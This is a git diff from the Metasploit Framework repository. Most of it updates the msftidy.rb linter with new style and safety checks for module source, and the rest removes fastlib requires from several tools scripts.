inconsistencies. # -# by jduck and friends +# by jduck, todb, and friends # require 'fileutils' require 'find' require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] -SPOTCHECK_RECENT = !!ENV['MSF_SPOTCHECK_RECENT'] +SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] +TITLE_WHITELIST = %w{ + a an and as at avserve callmenum configdir connect debug docbase dtspcd + execve file for from getinfo goaway gsad hetro historysearch htpasswd ibstat + id in inetd iseemedia jhot libxslt lmgrd lnk load main map migrate mimencode + multisort name net netcat nodeid ntpd nttrans of on onreadystatechange or + ovutil path pbot pfilez pgpass pingstr pls popsubfolders prescan readvar + relfile rev rexec rlogin rsh rsyslog sa sadmind say sblistpack spamd + sreplace tagprinter the tnftp to twikidraw udev uplay user username via + welcome with ypupdated zsudo +} if CHECK_OLD_RUBIES require 'rvm' @@ -31,6 +41,10 @@ class String "\e[1;32;40m#{self}\e[0m" end + def cyan + "\e[1;36;40m#{self}\e[0m" + end + def ascii_only? self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true end @@ -38,18 +52,21 @@ end class Msftidy - LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - # Status codes OK = 0x00 WARNINGS = 0x10 ERRORS = 0x20 + # Some compiles regexes + REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ + REGEX_IS_BLANK_OR_END = /^\s*end\s*$/ + attr_reader :full_filepath, :source, :stat, :name, :status def initialize(source_file) @full_filepath = source_file @source = load_file(source_file) + @lines = @source.lines # returns an enumerator @status = OK @name = File.basename(source_file) end @@ -64,7 +81,7 @@ class Msftidy # @return status [Integer] Returns WARNINGS unless we already have an # error. def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' - puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}" @status == ERRORS ? @status = ERRORS : @status = WARNINGS end @@ -76,16 +93,24 @@ class Msftidy # @return status [Integer] Returns ERRORS def error(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' - puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}" @status = ERRORS end # Currently unused, but some day msftidy will fix errors for you. def fixed(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' - puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{txt}" + puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}" end + # + # Display an info message. Info messages do not alter the exit status. + # + def info(txt, line=0) + return if SUPPRESS_INFO_MESSAGES + line_msg = (line>0) ? ":#{line}" : '' + puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" + end ## # @@ -100,28 +125,40 @@ class Msftidy end def check_shebang - if @source.lines.first =~ /^#!/ + if @lines.first =~ /^#!/ warn("Module should not have a #! line") end end + # Updated this check to see if Nokogiri::XML.parse is being called + # specifically. The main reason for this concern is that some versions + # of libxml2 are still vulnerable to XXE attacks. REXML is safer (and + # slower) since it's pure ruby. Unfortunately, there is no pure Ruby + # HTML parser (except Hpricot which is abandonware) -- easy checks + # can avoid Nokogiri (most modules use regex anyway), but more complex + # checks tends to require Nokogiri for HTML element and value parsing. def check_nokogiri - msg = "Requiring Nokogiri in modules can be risky, use REXML instead." + msg = "Using Nokogiri in modules can be risky, use REXML instead." has_nokogiri = false - @source.each_line do |line| - if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/ - has_nokogiri = true - break + has_nokogiri_xml_parser = false + @lines.each do |line| + if has_nokogiri + if line =~ /Nokogiri::XML\.parse/ or line =~ /Nokogiri::XML::Reader/ + has_nokogiri_xml_parser = true + break + end + else + has_nokogiri = line_has_require?(line, 'nokogiri') end end - error(msg) if has_nokogiri + error(msg) if has_nokogiri_xml_parser end def check_ref_identifiers in_super = false in_refs = false - @source.each_line do |line| + @lines.each do |line| if !in_super and line =~ /\s+super\(/ in_super = true elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ @@ -150,8 +187,6 @@ class Msftidy warn("milw0rm references are no longer supported.") when 'EDB' warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ when 'US-CERT-VU' warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ when 'ZDI' @@ -167,8 +202,6 @@ class Msftidy warn("Please use 'MSB' for '#{value}'") elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// warn("Please use 'US-CERT-VU' for '#{value}'") end @@ -177,6 +210,23 @@ class Msftidy end end + # See if 'require "rubygems"' or equivalent is used, and + # warn if so. Since Ruby 1.9 this has not been necessary and + # the framework only suports 1.9+ + def check_rubygems + @lines.each do |line| + if line_has_require?(line, 'rubygems') + warn("Explicitly requiring/loading rubygems is not necessary") + break + end + end + end + + # Does the given line contain a require/load of the specified library? + def line_has_require?(line, lib) + line =~ /^\s*(require|load)\s+['"]#{lib}['"]/ + end + def check_snake_case_filename sep = File::SEPARATOR good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" @@ -195,7 +245,7 @@ class Msftidy max_count = 10 counter = 0 if @source =~ /^##/ - @source.each_line do |line| + @lines.each do |line| # If exists, the $Id$ keyword should appear at the top of the code. # If not (within the first 10 lines), then we assume there's no # $Id$, and then bail. @@ -227,7 +277,7 @@ class Msftidy in_super = false in_author = false - @source.each_line do |line| + @lines.each do |line| # # Mark our "super" code block # @@ -296,7 +346,7 @@ class Msftidy end end - def test_old_rubies + def check_old_rubies return true unless CHECK_OLD_RUBIES return true unless Object.const_defined? :RVM puts "Checking syntax for #{@name}." @@ -305,8 +355,37 @@ class Msftidy error("Fails alternate Ruby version check") if rubies.size != res.size end + def is_exploit_module? + ret = false + if @source =~ REGEX_MSF_EXPLOIT + # having Msf::Exploit is good indicator, but will false positive on + # specs and other files containing the string, but not really acting + # as exploit modules, so here we check the file for some actual contents + # this could be done in a simpler way, but this let's us add more later + msf_exploit_line_no = nil + @lines.each_with_index do |line, idx| + if line =~ REGEX_MSF_EXPLOIT + # note the line number + msf_exploit_line_no = idx + elsif msf_exploit_line_no + # check there is anything but empty space between here and the next end + # something more complex could be added here + if line !~ REGEX_IS_BLANK_OR_END + # if the line is not 'end' and is not blank, prolly exploit module + ret = true + break + else + # then keep checking in case there are more than one Msf::Exploit + msf_exploit_line_no = nil + end + end + end + end + ret + end + def check_ranking - return if @source !~ / \< Msf::Exploit/ + return unless is_exploit_module? available_ranks = [ 'ManualRanking', @@ -326,7 +405,7 @@ class Msftidy end def check_disclosure_date - return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ + return if @source =~ /Generic Payload Handler/ # Check disclosure date format if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+)['\"]/ @@ -345,26 +424,15 @@ class Msftidy error('Incorrect disclosure date format') end else - error('Exploit is missing a disclosure date') + error('Exploit is missing a disclosure date') if is_exploit_module? end end def check_title_casing - whitelist = %w{ - a an and as at avserve callmenum configdir connect debug docbase - dtspcd execve file for from getinfo goaway gsad hetro historysearch - htpasswd id in inetd iseemedia jhot libxslt lmgrd lnk load main map - migrate mimencode multisort name net netcat nodeid ntpd nttrans of - on onreadystatechange or ovutil path pbot pfilez pgpass pingstr pls - popsubfolders prescan readvar relfile rev rexec rlogin rsh rsyslog sa - sadmind say sblistpack spamd sreplace tagprinter the to twikidraw udev - uplay user username via welcome with ypupdated zsudo - } - if @source =~ /["']Name["'][[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ words = $1.split words.each do |word| - if whitelist.include?(word) + if TITLE_WHITELIST.include?(word) next elsif word =~ /^[a-z]+$/ warn("Suspect capitalization in module title: '#{word}'") @@ -401,7 +469,7 @@ class Msftidy src_ended = false idx = 0 - @source.each_line { |ln| + @lines.each do |ln| idx += 1 # block comment awareness @@ -425,10 +493,6 @@ class Msftidy error("Unicode detected: #{ln.inspect}", idx) end - if (ln.length > LONG_LINE_LENGTH) - warn("Line exceeding #{LONG_LINE_LENGTH} bytes", idx) - end - if ln =~ /[ \t]$/ warn("Spaces at EOL", idx) end @@ -459,7 +523,7 @@ class Msftidy end # The rest of these only count if it's not a comment line - next if ln =~ /[[:space:]]*#/ + next if ln =~ /^[[:space:]]*#/ if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ next if ln =~ /^[\s]*["][^"]+\$std(?:out|err)/ @@ -467,11 +531,20 @@ class Msftidy error("Writes to stdout", idx) end - # do not change datastore in code - if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ - error("datastore is modified in code: #{ln.inspect}", idx) + # do not read Set-Cookie header (ignore commented lines) + if ln =~ /^(?!\s*#).+\[['"]Set-Cookie['"]\](?!\s*=[^=~]+)/i + warn("Do not read Set-Cookie header directly, use res.get_cookies instead: #{ln}", idx) end - } + + # Auxiliary modules do not have a rank attribute + if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/ + warn("Auxiliary modules have no 'Rank': #{ln}", idx) + end + + if ln =~ /^\s*def\s+(?:[^\(\)#]*[A-Z]+[^\(\)]*)(?:\(.*\))?$/ + warn("Please use snake case on method names: #{ln}", idx) + end + end end def check_vuln_codes @@ -481,6 +554,46 @@ class Msftidy end end + def check_vars_get + test = @source.scan(/send_request_cgi\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im) + unless test.empty? + test.each { |item| + info("Please use vars_get in send_request_cgi: #{item}") + } + end + end + + def check_newline_eof + if @source !~ /(?:\r\n|\n)\z/m + info('Please add a newline at the end of the file') + end + end + + def check_sock_get + if @source =~ /\s+sock\.get(\s*|\(|\d+\s*|\d+\s*,\d+\s*)/m && @source !~ /sock\.get_once/ + info('Please use sock.get_once instead of sock.get') + end + end + + def check_udp_sock_get + if @source =~ /udp_sock\.get/m && @source !~ /udp_sock\.get\([a-zA-Z0-9]+/ + info('Please specify a timeout to udp_sock.get') + end + end + + # At one point in time, somebody committed a module with a bad metasploit.com URL + # in the header -- http//metasploit.com/download rather than http://metasploit.com/download. + # This module then got copied and committed 20+ times and is used in numerous other places. + # This ensures that this stops. + def check_invalid_url_scheme + test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/) + unless test.empty? + test.each { |item| + info("Invalid URL: #{item}") + } + end + end + private def load_file(file) @@ -490,6 +603,13 @@ class Msftidy f.close return buf end + + def cleanup_text(txt) + # remove line breaks + txt = txt.gsub(/[\r\n]/, ' ') + # replace multiple spaces by one space + txt.gsub(/\s{2,}/, ' ') + end end # @@ -502,12 +622,13 @@ def run_checks(full_filepath) tidy.check_mode tidy.check_shebang tidy.check_nokogiri + tidy.check_rubygems tidy.check_ref_identifiers tidy.check_old_keywords tidy.check_verbose_option tidy.check_badchars tidy.check_extname - tidy.test_old_rubies + tidy.check_old_rubies tidy.check_ranking tidy.check_disclosure_date tidy.check_title_casing @@ -517,6 +638,11 @@ def run_checks(full_filepath) tidy.check_snake_case_filename tidy.check_comment_splat tidy.check_vuln_codes + tidy.check_vars_get + tidy.check_newline_eof + tidy.check_sock_get + tidy.check_udp_sock_get + tidy.check_invalid_url_scheme return tidy end @@ -528,25 +654,12 @@ end dirs = ARGV -if SPOTCHECK_RECENT - msfbase = %x{\\git rev-parse --show-toplevel}.strip - if File.directory? msfbase - Dir.chdir(msfbase) - else - $stderr.puts "You need a git binary in your path to use this functionality." - exit(0x02) - end - last_release = %x{\\git tag -l #{DateTime.now.year}\\*}.split.last - new_modules = %x{\\git diff #{last_release}..HEAD --name-only --diff-filter A modules} - dirs = dirs | new_modules.split -end +@exit_status = 0 -# Don't print an error if there's really nothing to check. -unless SPOTCHECK_RECENT - if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" - exit(0x01) - end +if dirs.length < 1 + $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" + @exit_status = 1 + exit(@exit_status) end dirs.each do |dir| diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 850bda1154..e3fc10e53f 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pack_fastlib.sh b/tools/pack_fastlib.sh deleted file mode 100755 index d81a8f11c9..0000000000 --- a/tools/pack_fastlib.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/sh - -mkdir fastlib-archived -./lib/fastlib.rb store modules.fastlib 12345603 modules/ modules/* -./lib/fastlib.rb store lib/metasploit.fastlib 12345603 lib lib/msf/ lib/rex* -mv lib/msf lib/rex* modules/ fastlib-archived diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index b177bd2219..540e546568 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index 6cd69bf79f..ff13d8ce4f 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -8,7 +8,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index 06ac4d24f8..7a30e1dff0 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/psexec.rb b/tools/psexec.rb index 1e6d152d91..290cf14ae9 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -10,7 +10,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/reg.rb b/tools/reg.rb index 63880edd5d..dbb764e983 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -13,7 +13,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] diff --git a/tools/virustotal.rb b/tools/virustotal.rb index 16fe01fd80..132b8b6bb5 100755 --- a/tools/virustotal.rb +++ b/tools/virustotal.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,7 +34,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) -require 'fastlib' require 'msfenv' require 'rex' require 'msf/core'